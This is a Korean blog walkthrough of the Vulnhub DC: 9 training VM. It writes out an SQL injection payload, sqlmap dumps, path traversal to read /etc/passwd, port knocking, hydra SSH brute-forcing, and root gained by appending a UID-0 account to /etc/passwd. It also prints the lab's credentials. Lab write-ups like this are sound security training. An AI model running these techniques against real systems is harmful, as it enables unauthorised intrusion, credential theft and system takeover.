Vulnhub

[Vulnhub] DC: 9 Walkthrough

jeff_kim 2024. 6. 25. 19:07

https://www.vulnhub.com/entry/dc-9,412/

 

DC: 9

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

이 DC: 9 은 포트노킹에 대한 실습인데, 포트 노킹은 한번도 해보지 않아서 타쿠대디님 가이드를 읽으면서 실습을 진행하였습니다.

타쿠대디님 길잡이를 해주셔서 감사합니다!!

 

 

실습 환경 : VirtualBox

 

Reconnaissance

└─$ sudo nmap -sn 192.168.45.0/24                       
...
Nmap scan report for 192.168.45.120
Host is up (0.00030s latency).
MAC Address: 08:00:27:9C:5D:4A (Oracle VirtualBox virtual NIC)
...

포트 노킹에 대한 실습이기 때문에 filtered 되어있는 포트가 있어야하는데 22번 ssh가 바로 필터된 포트입니다

80번 포트는 열려있네요

 

WEB

example.com의 staff에 대한 자세한 페이지 입니다

직원들에 대한 정보도 잘 들어있네요

다른 엔드포인트에서는 검색을 할 수 있는 기능 그리고 로그인 할 수 있는 기능 등등이 있습니다. 다른 포트가 열려있지 않으니 웹에서만 취약점을 진단해야하니 상세한 기능까지 다 사용해봅니다

 

Vulnerability

검색을 할 수 있는 /search.php 에서  검색을 하니 /result.php로 넘어가며 POST 하는 Request하나를 발견했습니다

 

search에 1' or '1'='1 를 삽입하니 직원들에 대한 정보가 떳습니다. 그렇단 말은 SQL Injection이 가능하다는 말이니 sqlmap을 이용하여 한번 분석을 해봅니다

이렇게 파일 형식으로  만듭니다

information_schema, staff, users 데이터베이스가 있네요

 

└─$ sqlmap -r ./attacks/results.txt -D Staff -T Users --dump

└─$ sqlmap -r ./attacks/results.txt -D Staff -T StaffDetails --dump

└─$ sqlmap -r ./attacks/results.txt -D users -T UserDetails --dump

user 데이터베이스에 저장되어있는 username과 password는 리스트 형식으로 저장하도록 하겠습니다

 

데이터베이스가 가지고 있는 정보들을 덤프했으며, 현재 사용하고 있는 테이블, 그리고 사용하고 있는 유저 정보에 대해서도 파악합니다

current user : dbuser@localhost

 

current database : Staff

 

덤프했던 해시화 되어있는 admin 계정의 비밀번호가 어떤 해시화가 되어있는지 확인 후에 복호화를 시도합니다

MD5 입니다

https://md5decrypt.net/en/ 사이트에서 복호화를 진행합니다

# admin credentials
856f5de590ef37314e7c3bdf6f8a66dc : transorbital1
admin:transorbital1

File does not exist

즉 LFI (Local File Inclusion) 까지 가능할 수도 있겠습니다. 그러기 위해선 file 파라미터를 추가해서 path traversal 까지 가능해야하니 한번 테스트 해봅니다

가능하네요 /etc/passwd 파일을 읽을 수 있습니다 그럼,, 이 실습에서 해야하는것 바로 포트 노킹인데요 

포트 노킹의 설정 파일은 /etc/knockd.conf 입니다 한번 읽어볼까요?

페이지 소스에서 좀 더 잘 정리된 것을 확인 합니다

OpenSSH

sequence -> 특정 포트를 열기 위한 포트 패턴 (7469 -> 8475 -> 9842 순서대로 요청)

반대로 CloseSSH의 sequence 는 포트를 닫기 위한 패턴입니다 한번 실제로 진행해보도록 하겠습니다

 

# knock install
sudo apt-get install -y knockd

# 포트를 열기
└─$ knock 192.168.45.120 7469 8475 9842

네 22번 포트가 열린 것을 확인 할 수 있습니다

 

Exploitation

포트 노킹을 통해서 22번 포트를 열었으니 ssh 접속을 해야합니다 그전에 파싱한 username, password을 hydra를 이용하여 비밀번호 브루트포싱을 진행해보겠습니다

# password brutefocing
└─$ hydra -L username.txt -P passwd.txt ssh://192.168.45.120:22 -t 4

#credentials
chandlerb:UrAG0D!
joeyt:Passw0rd
janitor:Ilovepeepee

3개의 유저 비밀번호를 찾았습니다

대상 호스트에 초기 침투에 성공했고 나머지 유저들도 모두 접속해서 후속 공격을 준비하겠습니다

 

Post-Exploitation

linpeas.sh 스크립트로 정보 수집을 하기 위해서 /tmp 디렉터리에 들어가서 공격자 칼리에서 대상 호스트로 파일을 다운받습니다

chandler 유저로 들어가 linpeas.sh을 해봤지만,, 이미 데이터베이스 덤프를 다 한 상태고 추가적인 정보에 대한 특이점은 없었습니다

각자의 홈 디렉터리에서 한번 확인해보겠습니다.

janitor 유저의 홈디렉터리에서 숨겨진 디렉터리와 파일에서 새로운 비밀번호 목록을 찾았습니다

이전 비밀번호는 제외하고 새로운 패스워드 리스트를 만들어 비밀번호 브루트포싱을 진행해봅니다

joeyt 유저는 이전에 이미 찾았던 유저이고, 새로운 유저 fredf에 대한 비밀번호를 찾았습니다

fredf:B4-Tru3-001

바로 접속 해봅시다!

 

Privilage-Escalation

비밀번호 없이 뭔가 실행시킬수 있네요 

파일에 대해서 확인해보니 ELF 실행 파일인 것으로 확인됩니다

 

test.py 파일을 찾아봐야겠네요

fredf@dc-9:~$ find / -name "test.py" 2> /dev/null
/opt/devstuff/test.py
/usr/lib/python3/dist-packages/setuptools/command/test.py

# read test.py

fredf@dc-9:/opt/devstuff$ cat test.py
#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

만약 인자값이 3개가 아니라면 Usage: python test.py read append 문자와 함께 종료된다

첫번째 인자값에 대해서 파일을 읽고,

두번째 인자값에 대해서 파일 내용을 추가한다

 

뭐가 있을지 생각해봤는데 뭔가 관리자 권한을 가진 유저를 추가하는 방법이 최고지 않을까 싶네요

fredf@dc-9:/opt/devstuff$ cat /etc/passwd | head -n 3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

유저를 추가하기 위해서 /etc/passwd 형식을 먼저 파악합니다

사용자:암호:uid:gid:계정 이름:홈 디렉터리:실행 쉘 

 

# 암호화된 비밀번호 생성
└─$ openssl passwd -6 -salt qwer qwerqwer
$6$qwer$OQD8N6L/cwptWOB.2WhWd0ocVxCJ7fBqzNbyH5voVikzmsWKN1YrGTIXsONsQA2eV2FbFb7UXVIsMzgmbipUW1

# append 파일 생성
fredf@dc-9:~$ echo 'qwer:$6$qwer$OQD8N6L/cwptWOB.2WhWd0ocVxCJ7fBqzNbyH5voVikzmsWKN1YrGTIXsONsQA2eV2FbFb7UXVIsMzgmbipUW1:0:0:qwer:/root:/bin/bash' > append.txt

# 파일 추가
fredf@dc-9:~$ sudo /opt/devstuff/dist/test/test append.txt /etc/passwd; cat /etc/passwd | tail -n1
qwer:$6$qwer$OQD8N6L/cwptWOB.2WhWd0ocVxCJ7fBqzNbyH5voVikzmsWKN1YrGTIXsONsQA2eV2FbFb7UXVIsMzgmbipUW1:0:0:qwer:/root:/bin/bash

 

관리자 권한 획득 완료